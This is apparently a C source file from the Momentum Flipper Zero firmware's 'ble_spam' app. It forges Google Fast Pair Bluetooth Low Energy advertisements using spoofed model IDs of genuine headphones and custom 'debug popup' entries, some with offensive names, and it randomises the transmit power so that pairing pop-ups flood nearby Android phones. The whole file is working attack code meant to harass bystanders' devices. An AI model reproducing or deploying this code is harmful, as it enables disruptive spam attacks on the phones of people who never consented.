Files
Momentum-Firmware/applications/external/ble_spam/protocols/fastpair.c
2023-10-15 20:12:46 +01:00

69 lines
2.1 KiB
C

#include "fastpair.h"
#include "_registry.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
const char* fastpair_get_name(const BleSpamMsg* _msg) {
const FastpairMsg* msg = &_msg->fastpair;
UNUSED(msg);
return "FastPair";
}
void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL;
uint32_t model_id;
if(msg && msg->model_id != 0x000000) {
model_id = msg->model_id;
} else {
const uint32_t models[] = {
// Genuine devices
0xCD8256, // Bose NC 700
0xF52494, // JBL Buds Pro
0x718FA4, // JBL Live 300TWS
0x821F66, // JBL Flip 6
0x92BBBD, // Pixel Buds
// Custom debug popups
0xAA1FE1, // ClownMaster
0xAA187F, // VBucks
0xF38C02, // Boykisser
0x1448C9, // BLM
0xD5AB33, // Xtreme
0x13B39D, // Talking Sasquach
};
model_id = models[rand() % COUNT_OF(models)];
}
uint8_t size = 14;
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = 3; // Size
packet[i++] = 0x03; // AD Type (Service UUID List)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = 6; // Size
packet[i++] = 0x16; // AD Type (Service Data)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
packet[i++] = (model_id >> 0x08) & 0xFF; // ...
packet[i++] = (model_id >> 0x00) & 0xFF; // ...
packet[i++] = 2; // Size
packet[i++] = 0x0A; // AD Type (Tx Power Level)
packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
*out_size = size;
*out_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_fastpair = {
.icon = &I_android,
.get_name = fastpair_get_name,
.make_packet = fastpair_make_packet,
};